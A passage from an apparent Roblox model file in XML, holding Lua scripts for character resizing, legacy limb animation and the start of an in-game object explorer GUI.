&#9;local t,lleg = c:findFirstChild(&quot;Torso&quot;), c:findFirstChild(&quot;Left Leg&quot;)
&#9;if not (t and lleg) then return end

&#9;plate = Instance.new(&quot;Part&quot;)
&#9;plate.Name = &quot;LegPlatform&quot;
&#9;plate.Size = (mod&gt;100) and V3(t.Size.X,35,t.Size.Z) or V3(t.Size.X,5,t.Size.Z)
&#9;plate.Transparency, plate.CanCollide = 1, true
&#9;plate.Anchored, plate.TopSurface, plate.BottomSurface = false,0,0
&#9;plate.Parent = c

&#9;local half = t.Size.Y/2 + lleg.Size.Y
&#9;local yOff = -half + plate.Size.Y/2

&#9;plate.CFrame = t.CFrame * CFrame.new(0,yOff,0) * CFrame.fromEulerAnglesXYZ(math.pi,0,0)

&#9;local w = Instance.new(&quot;Weld&quot;)
&#9;w.Name,w.Part0,w.Part1,w.Parent = &quot;LegPlateWeld&quot;,t,plate,t
&#9;w.C0,w.C1 = t.CFrame:inverse()*plate.CFrame, CFrame.new()
end

----------------------------------------------------------------
-- 4)  **scale + re-place hats using ratio**
----------------------------------------------------------------
local function fixHats(c)
&#9;local head = c:findFirstChild(&quot;Head&quot;); if not head then return end

&#9;for hat,data in pairs(hats) do
&#9;&#9;local handle = data.handle
&#9;&#9;if handle and handle.Parent then
&#9;&#9;&#9;----------------------------------------------------------
&#9;&#9;&#9;-- I.  size / mesh scale only by the **ratio**
&#9;&#9;&#9;----------------------------------------------------------
&#9;&#9;&#9;--handle.Size = handle.Size * scaleFactor
&#9;&#9;&#9;local mesh = data.mesh
&#9;&#9;&#9;if mesh then
&#9;&#9;&#9;&#9;mesh.Scale   = mesh.Scale   * scaleFactor
&#9;&#9;&#9;&#9;if mesh.Offset then mesh.Offset = mesh.Offset * scaleFactor end
&#9;&#9;&#9;end

&#9;&#9;&#9;----------------------------------------------------------
&#9;&#9;&#9;-- II. compute fresh C0  (original-offset * new-mod)
&#9;&#9;&#9;----------------------------------------------------------
&#9;&#9;&#9;local rel     = data.relCF                       -- offset seen *before* we grew/shrank
&#9;&#9;&#9;local origPos = rel.p / lastMod                  -- back to un-scaled units
&#9;&#9;&#9;local newPos  = origPos * mod                    -- target distance
&#9;&#9;&#9;local rot     = rel - rel.p
&#9;&#9;&#9;local c0      = CFrame.new(newPos) * rot

&#9;&#9;&#9;----------------------------------------------------------
&#9;&#9;&#9;-- III. weld &amp; place
&#9;&#9;&#9;----------------------------------------------------------
&#9;&#9;&#9;for _,j in ipairs(handle:children()) do
&#9;&#9;&#9;&#9;if j:isA(&quot;Weld&quot;) or j:isA(&quot;Motor&quot;) or j:isA(&quot;Snap&quot;) then j:Remove() end
&#9;&#9;&#9;end

&#9;&#9;&#9;handle.CFrame, handle.Anchored = head.CFrame * c0, false

&#9;&#9;&#9;local w = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;w.Part0, w.Part1, w.Parent = head, handle, head
&#9;&#9;&#9;w.C0, w.C1 = c0, CFrame.new()
&#9;&#9;end
&#9;end
end

----------------------------------------------------------------
-- 5)  run the pipeline
----------------------------------------------------------------
char:BreakJoints()
anchorPose(char)
joints(char)
platform(char)
fixHats(char)

----------------------------------------------------------------
-- 6)  HRP weld so 2010 tools work
----------------------------------------------------------------
local torso,hrp = char:findFirstChild(&quot;Torso&quot;), char:findFirstChild(&quot;HumanoidRootPart&quot;)
if torso and hrp then
&#9;hrp.Size, hrp.CFrame = torso.Size, torso.CFrame
&#9;local rw = Instance.new(&quot;Weld&quot;)
&#9;rw.Name,rw.Part0,rw.Part1,rw.Parent = &quot;RootWeld&quot;,torso,hrp,torso
&#9;rw.C0,rw.C1 = CFrame.new(),CFrame.new()
&#9;char.Humanoid.CameraOffset = V3(0,mod,0)
end

----------------------------------------------------------------
-- 7)  un-anchor parts
----------------------------------------------------------------
for _,p in ipairs(char:children()) do
&#9;if p:isA(&quot;Part&quot;) then p.Anchored = false end
end

----------------------------------------------------------------
-- 8)  clothes logic (unchanged)
----------------------------------------------------------------
local ok = pcall(function() return char.Humanoid.Move end)
if not ok then
&#9;if mod == 1 then
&#9;&#9;for _,v in ipairs(char.Torso:children()) do
&#9;&#9;&#9;if v:isA(&quot;Shirt&quot;) or v:isA(&quot;Pants&quot;) or v:isA(&quot;CharacterMesh&quot;) then v.Parent = char end
&#9;&#9;end
&#9;&#9;for _,n in ipairs({&quot;Left Leg&quot;,&quot;Right Leg&quot;}) do
&#9;&#9;&#9;local leg = char:findFirstChild(n)
&#9;&#9;&#9;if leg then
&#9;&#9;&#9;&#9;for _,d in ipairs(leg:children()) do if d:isA(&quot;Decal&quot;) then d:Remove() end end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;else
&#9;&#9;for _,w in ipairs(char:children()) do
&#9;&#9;&#9;if w:isA(&quot;Shirt&quot;) or w:isA(&quot;Pants&quot;) or w:isA(&quot;CharacterMesh&quot;) then w.Parent = char.Torso end
&#9;&#9;&#9;if w.Name==&quot;Left Leg&quot; or w.Name==&quot;Right Leg&quot; then
&#9;&#9;&#9;&#9;local faces={&quot;Front&quot;,&quot;Back&quot;,&quot;Left&quot;,&quot;Right&quot;}
&#9;&#9;&#9;&#9;for _,f in ipairs(faces) do
&#9;&#9;&#9;&#9;&#9;local d=Instance.new(&quot;Decal&quot;); d.Face=Enum.NormalId[f]
&#9;&#9;&#9;&#9;&#9;d.Texture = isausti and &quot;https://1.0char.co/Catalog/catalogitem.php?id=1161&amp;type=tshirt&quot;
&#9;&#9;&#9;&#9;&#9;           or &quot;http://www.roblox.com/asset/?id=114314666135337&quot;
&#9;&#9;&#9;&#9;&#9;d.Parent=w
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;local top=Instance.new(&quot;Decal&quot;); top.Face=Enum.NormalId.Top
&#9;&#9;&#9;&#9;top.Texture = isausti and &quot;https://1.0char.co/Catalog/catalogitem.php?id=1162&amp;type=tshirt&quot;
&#9;&#9;&#9;&#9;             or &quot;http://www.roblox.com/asset/?id=136997527729805&quot;
&#9;&#9;&#9;&#9;top.Parent=w
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end

----------------------------------------------------------------
-- 9)  bounce Animate for old clients
----------------------------------------------------------------
char.Animate.Disabled=false; wait(0.1); char.Animate.Disabled=true
wait(0.3);                char.Animate.Disabled=false

----------------------------------------------------------------
-- 10)  update last-modifier for the **next** resize
----------------------------------------------------------------
lastModObj.Value = mod
</ProtectedString>
				</Properties>
				<Item class="NumberValue" referent="RBX54">
					<Properties>
						<string name="Name">modifier</string>
						<double name="Value">0</double>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX55">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Animate</string>
					<ProtectedString name="Source">function waitForChild(parent, childName)
&#9;local child = parent:findFirstChild(childName)
&#9;if child then return child end
&#9;while true do
&#9;&#9;child = parent.ChildAdded:wait()
&#9;&#9;if child.Name==childName then return child end
&#9;end
end

if script.Parent:findFirstChild(&quot;giantscript&quot;) then
&#9;multiplier = tonumber(script.Parent:findFirstChild(&quot;giantscript&quot;).modifier.Value)
elseif script.Parent:findFirstChild(&quot;gubbyresize&quot;) then
&#9;multiplier = tonumber(script.Parent:findFirstChild(&quot;gubbyresize&quot;).modifier.Value)
end
-- ANIMATION

-- declarations

local Figure = script.Parent
local Torso = waitForChild(Figure, &quot;Torso&quot;)
local RightShoulder = waitForChild(Torso, &quot;Right Shoulder&quot;)
local LeftShoulder = waitForChild(Torso, &quot;Left Shoulder&quot;)
local RightHip = waitForChild(Torso, &quot;Right Hip&quot;)
local LeftHip = waitForChild(Torso, &quot;Left Hip&quot;)
local Neck = waitForChild(Torso, &quot;Neck&quot;)
local Humanoid = waitForChild(Figure, &quot;Humanoid&quot;)
local pose = &quot;Standing&quot;

local toolAnim = &quot;None&quot;
local toolAnimTime = 0

local platform = script.Parent:findFirstChild(&quot;LegPlatform&quot;)

-- functions

function onRunning(speed)
&#9;if speed&gt;0 then
&#9;&#9;pose = &quot;Running&quot;
&#9;else
&#9;&#9;pose = &quot;Standing&quot;
&#9;end
end

function onDied()
&#9;pose = &quot;Dead&quot;
end

function onJumping()
   if platform then platform.CanCollide = false end
&#9;--script.Parent.Legplatform.CanCollide = false
&#9;pose = &quot;Jumping&quot;
end

function onClimbing()
&#9;pose = &quot;Climbing&quot;
end

function onGettingUp()
&#9;pose = &quot;GettingUp&quot;
end

function onFreeFall()
--&#9;script.Parent.Legplatform.CanCollide = true
   if platform then platform.CanCollide = true end
&#9;pose = &quot;FreeFall&quot;
end

function onFallingDown()
   if platform then platform.CanCollide = true end
--&#9;script.Parent.Legplatform.CanCollide = true
&#9;pose = &quot;FallingDown&quot;
end

function onSeated()
&#9;pose = &quot;Seated&quot;
end

function onPlatformStanding()
&#9;pose = &quot;PlatformStanding&quot;
end

function moveJump()
&#9;RightShoulder.MaxVelocity = 0.5
&#9;LeftShoulder.MaxVelocity = 0.5
&#9;RightShoulder.DesiredAngle = 3.14
&#9;LeftShoulder.DesiredAngle = -3.14
&#9;RightHip.DesiredAngle = 0
&#9;LeftHip.DesiredAngle = 0
end


-- same as jump for now

function moveFreeFall()
&#9;RightShoulder.MaxVelocity = 0.5
&#9;LeftShoulder.MaxVelocity = 0.5
&#9;RightShoulder.DesiredAngle = 3.14
&#9;LeftShoulder.DesiredAngle = -3.14
&#9;RightHip.DesiredAngle = 0
&#9;LeftHip.DesiredAngle = 0
end

function moveSit()
&#9;RightShoulder.MaxVelocity = 0.15
&#9;LeftShoulder.MaxVelocity = 0.15
&#9;RightShoulder.DesiredAngle = 3.14 /2
&#9;LeftShoulder.DesiredAngle = -3.14 /2
&#9;RightHip.DesiredAngle = 3.14 /2
&#9;LeftHip.DesiredAngle = -3.14 /2
end

function getTool()&#9;
&#9;for _, kid in ipairs(Figure:GetChildren()) do
&#9;&#9;if kid.className == &quot;Tool&quot; then return kid end
&#9;end
&#9;return nil
end

function getToolAnim(tool)
&#9;for _, c in ipairs(tool:GetChildren()) do
&#9;&#9;if c.Name == &quot;toolanim&quot; and c.className == &quot;StringValue&quot; then
&#9;&#9;&#9;return c
&#9;&#9;end
&#9;end
&#9;return nil
end

function animateTool()
&#9;
&#9;if (toolAnim == &quot;None&quot;) then
&#9;&#9;RightShoulder.DesiredAngle = 1.57
&#9;&#9;return
&#9;end

&#9;if (toolAnim == &quot;Slash&quot;) then
&#9;&#9;RightShoulder.MaxVelocity = 0.5
&#9;&#9;RightShoulder.DesiredAngle = 0
&#9;&#9;return
&#9;end

&#9;if (toolAnim == &quot;Lunge&quot;) then
&#9;&#9;RightShoulder.MaxVelocity = 0.5
&#9;&#9;LeftShoulder.MaxVelocity = 0.5
&#9;&#9;RightHip.MaxVelocity = 0.5
&#9;&#9;LeftHip.MaxVelocity = 0.5
&#9;&#9;RightShoulder.DesiredAngle = 1.57
&#9;&#9;LeftShoulder.DesiredAngle = 1.0
&#9;&#9;RightHip.DesiredAngle = 1.57
&#9;&#9;LeftHip.DesiredAngle = 1.0
&#9;&#9;return
&#9;end
end

function move(time)
&#9;local amplitude
&#9;local frequency
  
&#9;if (pose == &quot;Jumping&quot;) then
&#9;&#9;moveJump()
&#9;&#9;return
&#9;end

&#9;if (pose == &quot;FreeFall&quot;) then
&#9;&#9;moveFreeFall()
&#9;&#9;return
&#9;end
 
&#9;if (pose == &quot;Seated&quot;) then
&#9;&#9;moveSit()
&#9;&#9;return
&#9;end

&#9;local climbFudge = 0
&#9;
&#9;if (pose == &quot;Running&quot;) then
&#9;&#9;RightShoulder.MaxVelocity = 0.15
&#9;&#9;LeftShoulder.MaxVelocity = 0.15
&#9;&#9;amplitude = 1
&#9;&#9;if multiplier &lt; 1 then
&#9;&#9;&#9;frequency = 1
&#9;&#9;elseif multiplier &gt;= 10 then
&#9;&#9;&#9;frequency = 1.5
&#9;&#9;elseif multiplier &gt;= 9 then
&#9;&#9;&#9;frequency = 1.75
&#9;&#9;elseif multiplier &gt;= 8 then
&#9;&#9;&#9;frequency = 2
&#9;&#9;elseif multiplier &gt;= 7 then
&#9;&#9;&#9;frequency = 2.25
&#9;&#9;elseif multiplier &gt;= 6 then
&#9;&#9;&#9;frequency = 2.5
&#9;&#9;elseif multiplier &gt;= 5 then
&#9;&#9;&#9;frequency = 3
&#9;&#9;elseif multiplier &gt;= 4 then
&#9;&#9;&#9;frequency = 4
&#9;&#9;elseif multiplier &gt;= 3 then
&#9;&#9;&#9;frequency = 5
&#9;&#9;elseif multiplier &gt;= 2 then
&#9;&#9;&#9;frequency = 7
&#9;&#9;else
&#9;&#9;&#9;frequency = 9
&#9;&#9;end
&#9;elseif (pose == &quot;Climbing&quot;) then
&#9;&#9;RightShoulder.MaxVelocity = 0.5 
&#9;&#9;LeftShoulder.MaxVelocity = 0.5
&#9;&#9;amplitude = 1
&#9;&#9;if multiplier &lt; 1 then
&#9;&#9;&#9;frequency = 1
&#9;&#9;elseif multiplier &gt;= 10 then
&#9;&#9;&#9;frequency = 1.5
&#9;&#9;elseif multiplier &gt;= 9 then
&#9;&#9;&#9;frequency = 1.75
&#9;&#9;elseif multiplier &gt;= 8 then
&#9;&#9;&#9;frequency = 2
&#9;&#9;elseif multiplier &gt;= 7 then
&#9;&#9;&#9;frequency = 2.25
&#9;&#9;elseif multiplier &gt;= 6 then
&#9;&#9;&#9;frequency = 2.5
&#9;&#9;elseif multiplier &gt;= 5 then
&#9;&#9;&#9;frequency = 3
&#9;&#9;elseif multiplier &gt;= 4 then
&#9;&#9;&#9;frequency = 4
&#9;&#9;elseif multiplier &gt;= 3 then
&#9;&#9;&#9;frequency = 5
&#9;&#9;elseif multiplier &gt;= 2 then
&#9;&#9;&#9;frequency = 7
&#9;&#9;else
&#9;&#9;&#9;frequency = 9
&#9;&#9;end
&#9;&#9;climbFudge = 3.14
&#9;else
&#9;&#9;amplitude = 0.1
&#9;&#9;frequency = 1
&#9;end

&#9;desiredAngle = amplitude * math.sin(time*frequency)

&#9;RightShoulder.DesiredAngle = desiredAngle + climbFudge
&#9;LeftShoulder.DesiredAngle = desiredAngle - climbFudge
&#9;RightHip.DesiredAngle = -desiredAngle
&#9;LeftHip.DesiredAngle = -desiredAngle


&#9;local tool = getTool()

&#9;if tool then
&#9;
&#9;&#9;animStringValueObject = getToolAnim(tool)

&#9;&#9;if animStringValueObject then
&#9;&#9;&#9;toolAnim = animStringValueObject.Value
&#9;&#9;&#9;-- message recieved, delete StringValue
&#9;&#9;&#9;animStringValueObject.Parent = nil
&#9;&#9;&#9;toolAnimTime = time + .3
&#9;&#9;end

&#9;&#9;if time &gt; toolAnimTime then
&#9;&#9;&#9;toolAnimTime = 0
&#9;&#9;&#9;toolAnim = &quot;None&quot;
&#9;&#9;end

&#9;&#9;animateTool()

&#9;&#9;
&#9;else
&#9;&#9;toolAnim = &quot;None&quot;
&#9;&#9;toolAnimTime = 0
&#9;end
end


-- connect events

Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)

-- main program

local runService = game:service(&quot;RunService&quot;);

while Figure.Parent~=nil do
&#9;local _, time = wait(0.1)
&#9;move(time)
end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX56">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">explorer</string>
					<ProtectedString name="Source">--[ Explorer Plugin V2 By TerminalZero ]--

--legacy, for 2012M-2010L (2010M?)

Properties = {nil,&quot;Name&quot;,&quot;Parent&quot;,&quot;ClassName&quot;,&quot;BrickColor&quot;,&quot;Transparency&quot;,&quot;Reflectance&quot;,&quot;CreatorId&quot;,&quot;VertexColor&quot;,&quot;Volume&quot;,&quot;Ticket&quot;,&quot;AccountAge&quot;,&quot;VideoQualitySettings&quot;,&quot;UploadSetting&quot;,&quot;TweenStatus&quot;,&quot;TopBottom&quot;,&quot;TickCountSampleMethod&quot;,&quot;ThreadPoolConfig&quot;,&quot;SurfaceType&quot;,&quot;SurfaceConstrait&quot;,&quot;Style&quot;,&quot;Stuff&quot;,&quot;Status&quot;,&quot;SpecialKey&quot;,&quot;SoundType&quot;,&quot;SleepAdjustMethod&quot;,&quot;SizeConstraint&quot;,&quot;Shadow&quot;,&quot;SavedQualitySetting&quot;,&quot;ReverbType&quot;,&quot;Resolution&quot;,&quot;QualityLevel&quot;,&quot;PyrimidSides&quot;,&quot;PrivilegeType&quot;,&quot;PrismSides&quot;,&quot;PriorityMethod&quot;,&quot;PlayerChatType&quot;,&quot;PhysicsSendMethod&quot;,&quot;PhysicsRecieveMethod&quot;,&quot;PartType&quot;,&quot;PacketReliability&quot;,&quot;NormalId&quot;,&quot;MoveState&quot;,&quot;MeshType&quot;,&quot;MaterialQuality&quot;,&quot;LevelOfDetailSetting&quot;,&quot;LeftRight&quot;,&quot;KeywordFilterType&quot;,&quot;JointType&quot;,&quot;InputType&quot;,&quot;InOut&quot;,&quot;HandlesStyle&quot;,&quot;GraphicsMode&quot;,&quot;GeometryQuality&quot;,&quot;Genre&quot;,&quot;GearType&quot;,&quot;GearGenreSetting&quot;,&quot;FunctionalTestResult&quot;,&quot;FriendStatus&quot;,&quot;FriendRequestEvent&quot;,&quot;FramerateManagerMode&quot;,&quot;FrameStyle&quot;,&quot;ErrorReporting&quot;,&quot;PhysicsThrottle&quot;,&quot;Enviromental&quot;,&quot;EasingStyle&quot;,&quot;EasingDirection&quot;,&quot;DialogTone&quot;,&quot;DialogPurpose&quot;,&quot;D3DFORMAT&quot;,&quot;D3DDEVTYPE&quot;,&quot;CreatorType&quot;,&quot;ControlMode&quot;,&quot;ConcurrencyModel&quot;,&quot;ChatStyle&quot;,&quot;ChatMode&quot;,&quot;ChatColor&quot;,&quot;CenterDialogType&quot;,&quot;CellOrientation&quot;,&quot;CellMaterial&quot;,&quot;CellBlock&quot;,&quot;CameraType&quot;,&quot;ButtonStyle&quot;,&quot;Button&quot;,&quot;BuildPermission&quot;,&quot;BodyPart&quot;,&quot;BinType&quot;,&quot;Bevels&quot;,&quot;Axis&quot;,&quot;Antialiasing&quot;,&quot;AnimationPriority&quot;,&quot;AffectType&quot;,&quot;ActionType&quot;,&quot;AASamples&quot;,&quot;Source&quot;,&quot;ScriptsDisabled&quot;,&quot;GarbageCollectionLimit&quot;,&quot;GarbageCollectionFrequency&quot;,&quot;RobloxLocked&quot;,&quot;Version&quot;,&quot;AttachmentForward&quot;,&quot;AttachmentPos&quot;,&quot;AttachmentRight&quot;,&quot;AttachmentUp&quot;,&quot;AnimationId&quot;,&quot;HeadColor&quot;,&quot;RightArmColor&quot;,&quot;LeftArmColor&quot;,&quot;TorsoColor&quot;,&quot;LeftLegColor&quot;,&quot;RightLegColor&quot;,&quot;Value&quot;,&quot;CameraType&quot;,&quot;CameraSubject&quot;,&quot;BaseTextureId&quot;,&quot;BodyPart&quot;,&quot;MeshId&quot;,&quot;OverlayTextureId&quot;,&quot;MaxActivationDistance&quot;,&quot;Shiny&quot;,&quot;Specular&quot;,&quot;Texture&quot;,&quot;Face&quot;,&quot;GripForward&quot;,&quot;GripPos&quot;,&quot;GripRight&quot;,&quot;GripUp&quot;,&quot;TextureId&quot;,&quot;TeamColor&quot;,&quot;Enabled&quot;,&quot;Position&quot;,&quot;position&quot;,&quot;CFrame&quot;,&quot;Material&quot;,&quot;RotVelocity&quot;,&quot;Velocity&quot;,&quot;velocity&quot;,&quot;Anchored&quot;,&quot;CanCollide&quot;,&quot;Locked&quot;,&quot;Elasticity&quot;,&quot;Friction&quot;,&quot;Shape&quot;,&quot;Size&quot;,&quot;formFactor&quot;,&quot;BackSurface&quot;,&quot;BottomSurface&quot;,&quot;FrontSurface&quot;,&quot;LeftSurface&quot;,&quot;RightSurface&quot;,&quot;TopSurface&quot;,&quot;AbsolutePosition&quot;,&quot;AbsoluteSize&quot;,&quot;Active&quot;,&quot;BackgroundColor3&quot;,&quot;BackgroundTransparency&quot;,&quot;BorderColor3&quot;,&quot;BorderSizePixel&quot;,&quot;SizeConstraint&quot;,&quot;Visible&quot;,&quot;ZIndex&quot;,&quot;C0&quot;,&quot;C1&quot;,&quot;Part0&quot;,&quot;Part1&quot;,&quot;BinType&quot;,&quot;LeftLeg&quot;,&quot;RightLeg&quot;,&quot;Torso&quot;,&quot;Health&quot;,&quot;MaxHealth&quot;,&quot;WalkSpeed&quot;,&quot;Jump&quot;,&quot;PlatformStand&quot;,&quot;Sit&quot;,&quot;AutoButtonColor&quot;,&quot;Image&quot;,&quot;LinkedSource&quot;,&quot;Disabled&quot;,&quot;Text&quot;,&quot;PrimaryPart&quot;,&quot;CurrentAngle&quot;,&quot;DesiredAngle&quot;,&quot;MaxVelocity&quot;,&quot;PantsTemplate&quot;,&quot;ShirtTemplate&quot;,&quot;SoundId&quot;,&quot;Pitch&quot;,&quot;IsPlaying&quot;,&quot;IsPaused&quot;,&quot;Looped&quot;,&quot;PlayOnRemove&quot;,&quot;StudsPerTileU&quot;,&quot;StudsPerTileV&quot;,&quot;userId&quot;,&quot;BubbleChat&quot;,&quot;ClassicChat&quot;,&quot;MaxPlayers&quot;,&quot;NumPlayers&quot;,&quot;LocalPlayer&quot;,&quot;CharacterAppearance&quot;,&quot;Character&quot;,&quot;CurrentCamera&quot;,&quot;Ambient&quot;,&quot;Brightness&quot;,&quot;ColorShift_Bottom&quot;,&quot;ColorShift_Top&quot;,&quot;ShadowColor&quot;,&quot;TimeOfDay&quot;,&quot;AmbientReverb&quot;,&quot;DistanceFactor&quot;,&quot;DopplerScale&quot;,&quot;RolloffScale&quot;,&quot;Color&quot;,&quot;angularvelocity&quot;,&quot;maxTorque&quot;,&quot;Offset&quot;,&quot;Scale&quot;,&quot;Heat&quot;,&quot;Range&quot;,&quot;Angle&quot;,&quot;DataCost&quot;,&quot;maxForce&quot;,&quot;MaxSpeed&quot;,&quot;D&quot;,&quot;P&quot;,&quot;Adornee&quot;,&quot;CelestialBodiesShown&quot;,&quot;SkyboxBk&quot;,&quot;SkyboxDn&quot;,&quot;SkyboxFt&quot;,&quot;SkyboxLf&quot;,&quot;SkyboxRt&quot;,&quot;SkyboxUp&quot;,&quot;StarCount&quot;}

if script ~= nil then
if Game:FindFirstChild(&quot;NetworkClient&quot;) ~= nil then
repeat wait() until Game.Players.LocalPlayer ~= nil
end
end

if game.Players.LocalPlayer.PlayerGui:FindFirstChild(&quot;ExplorerButton&quot;) == nil then
local screengui = Instance.new(&quot;ScreenGui&quot;)
screengui.Parent = game.Players.LocalPlayer.PlayerGui
screengui.Name = &quot;ExplorerButton&quot;
local text = Instance.new(&quot;TextButton&quot;)
text.Parent = screengui
text.Active = true
text.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
text.BorderColor3 = Color3.new(255/255,0/0,0/0)
text.Position = UDim2.new(0.7,0,0.97,0)
text.Size = UDim2.new(0.1,0,0.025,0)
text.Text = &quot;Explorer&quot;
text.Transparency = 0.3
text.TextColor3 = Color3.new(1,1,1)

text.MouseButton1Down:connect(function()
if game.Players.LocalPlayer.PlayerGui:FindFirstChild(&quot;ExplorerGui&quot;) == nil then
pcall(function()
Game.CoreGui.RobloxGui.PlayerListScreen.Visible = false
end)

ItemGuis = {}
PropGuis = {}
ScrollPlaces = {}
MouseFunction = nil
KeyDownFunction = nil
KeyUpFunction = nil
_G.Selection = nil
ExplorerGui = nil
CopiedItem = nil
AddingConnection = nil
RemovingConnection = nil
Mouse = nil
ExpScrollNumber = 1
PropScrollNumber = 1
ViewGui = &quot;Explorer&quot;

pcall(function() if Game.Players.LocalPlayer ~= nil then
Mouse = Game.Players.LocalPlayer:GetMouse()
end end)

Base = &quot;http://www.roblox.com/asset/?id=&quot;
Images = {Value=40332408,Sound=40332463,Script=40332546,ScreenGui=40332596,Part=40332760,SpawnLocation=117933272,Nil=40332825,Model=40332865,Message=40332942,LocalScript=40332996,Joint=40333049,Frame=40333121,Camera=40333217,Backpack=40333260,Player=40332674,Body=40339623,HopperBin=40339572,Tool=40339513,Workspace=40484518,Mesh=40484580,Property=40493937,Animation=40531758,Hat=40531808,Humanoid=40531903,Light=117825710,Decal=117930421,Shirt=117931182,Pants=117931169,Terrain=117931310,ForceField=117931567,Seat=117931937,BillboardGui=117932485,Texture=118002183}

function SetImage(Par,class)
if (class==&quot;IntValue&quot;) or (class==&quot;BoolValue&quot;) or (class==&quot;StringValue&quot;) or (class==&quot;ObjectValue&quot;) or (class==&quot;CFrameValue&quot;) or (class==&quot;Vector3Value&quot;) or (class==&quot;NumberValue&quot;) or (class==&quot;RayValue&quot;) or (class==&quot;Color3Value&quot;) or (class==&quot;BrickColorValue&quot;) then
CreateImageLabel(Par,Base..Images.Value)
elseif (class==&quot;Sound&quot;) or (class==&quot;StockSound&quot;) or (class==&quot;SoundService&quot;) then
CreateImageLabel(Par,Base..Images.Sound)
elseif (class==&quot;Script&quot;) then
CreateImageLabel(Par,Base..Images.Script)
elseif (class==&quot;ScreenGui&quot;) or (class==&quot;GuiMain&quot;) then
CreateImageLabel(Par,Base..Images.ScreenGui)
elseif (class==&quot;BillboardGui&quot;) then
CreateImageLabel(Par,Base..Images.BillboardGui)
elseif (class==&quot;Part&quot;) or (class==&quot;WedgePart&quot;) or (class==&quot;TrussPart&quot;) or (class==&quot;SkateboardPlatform&quot;) then
CreateImageLabel(Par,Base..Images.Part)
elseif (class==&quot;SpawnLocation&quot;) then
CreateImageLabel(Par,Base..Images.SpawnLocation)
elseif (class==&quot;Model&quot;) then
CreateImageLabel(Par,Base..Images.Model)
elseif (class==&quot;Hint&quot;) or (class==&quot;Message&quot;) then
CreateImageLabel(Par,Base..Images.Message)
elseif (class==&quot;LocalScript&quot;) or (class==&quot;CoreScript&quot;) or (class==&quot;StarterScript&quot;) then
CreateImageLabel(Par,Base..Images.LocalScript)
elseif (class==&quot;Weld&quot;) or (class==&quot;Snap&quot;) or (class==&quot;Glue&quot;) or (class==&quot;Rotate&quot;) or (class==&quot;RotateP&quot;) or (class==&quot;RotateV&quot;) or (class==&quot;JointsService&quot;) then
CreateImageLabel(Par,Base..Images.Joint)
elseif (class==&quot;Frame&quot;) or (class==&quot;TextLabel&quot;) or (class==&quot;TextButton&quot;) or (class==&quot;TextBox&quot;) or (class==&quot;ImageButton&quot;) or (class==&quot;ImageLabel&quot;) then
CreateImageLabel(Par,Base..Images.Frame)
elseif (class==&quot;Camera&quot;) then
CreateImageLabel(Par,Base..Images.Camera)
elseif (class==&quot;Backpack&quot;) or (class==&quot;StarterGear&quot;) or (class==&quot;StarterPack&quot;) or (class==&quot;StarterGui&quot;) or (class==&quot;PlayerGui&quot;) then
CreateImageLabel(Par,Base..Images.Backpack)
elseif (class==&quot;Player&quot;) or (class==&quot;PseudoPlayer&quot;) or (class==&quot;Players&quot;) then
CreateImageLabel(Par,Base..Images.Player)
elseif (class==&quot;BodyPosition&quot;) or (class==&quot;BodyGyro&quot;) or (class==&quot;BodyVelocity&quot;) or (class==&quot;BodyThrust&quot;) or (class==&quot;BodyForce&quot;) or (class==&quot;RocketPropulsion&quot;) then
CreateImageLabel(Par,Base..Images.Body)
elseif (class==&quot;HopperBin&quot;) then
CreateImageLabel(Par,Base..Images.HopperBin)
elseif (class==&quot;Tool&quot;) then
CreateImageLabel(Par,Base..Images.Tool)
elseif (class==&quot;Workspace&quot;) then
CreateImageLabel(Par,Base..Images.Workspace)
elseif (class==&quot;BlockMesh&quot;) or (class==&quot;SpecialMesh&quot;) or (class==&quot;CylinderMesh&quot;) then
CreateImageLabel(Par,Base..Images.Mesh)
elseif (class==&quot;Animation&quot;) or (class==&quot;CharacterMesh&quot;) then
CreateImageLabel(Par,Base..Images.Animation)
elseif (class==&quot;Hat&quot;) then
CreateImageLabel(Par,Base..Images.Hat)
elseif (class==&quot;Humanoid&quot;) then
CreateImageLabel(Par,Base..Images.Humanoid)
elseif (class==&quot;Lighting&quot;) then
CreateImageLabel(Par,Base..Images.Light)
elseif (class==&quot;PointLight&quot;) or (class==&quot;SpotLight&quot;) then
CreateImageLabel(Par,Base..Images.Light)
elseif (class==&quot;Decal&quot;) then
CreateImageLabel(Par,Base..Images.Decal)
elseif (class==&quot;Texture&quot;) then
CreateImageLabel(Par,Base..Images.Texture)
elseif (class==&quot;Terrain&quot;) then
CreateImageLabel(Par,Base..Images.Terrain)
elseif (class==&quot;Shirt&quot;) then
CreateImageLabel(Par,Base..Images.Shirt)
elseif (class==&quot;Pants&quot;) then
CreateImageLabel(Par,Base..Images.Pants)
elseif (class==&quot;ForceField&quot;) then
CreateImageLabel(Par,Base..Images.ForceField)
elseif (class==&quot;Seat&quot;) or (class==&quot;VehicleSeat&quot;) then
CreateImageLabel(Par,Base..Images.Seat)
else CreateImageLabel(Par,Base..Images.Nil)
end
end

function CreateImageLabel(Par,image)
Par.Image = image
end

function GetProperties(Object,Table)
local Return = {}
local function C() end
for i=1,#Table do
if pcall(function() C(Object[Table[i]]) end) then
if (Object:FindFirstChild(Table[i]) == nil) then
table.insert(Return, Table[i])
end end end
return Return
end

--[[ Create Gui&apos;s ]]--
explore = Instance.new(&quot;ScreenGui&quot;,game.Players.LocalPlayer.PlayerGui)
explore.Name = &quot;ExplorerGui&quot;
otherframe = Instance.new(&quot;TextLabel&quot;,explore)
otherframe.Name = &quot;OtherFrame&quot;
otherframe.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
otherframe.BackgroundTransparency = 0.2
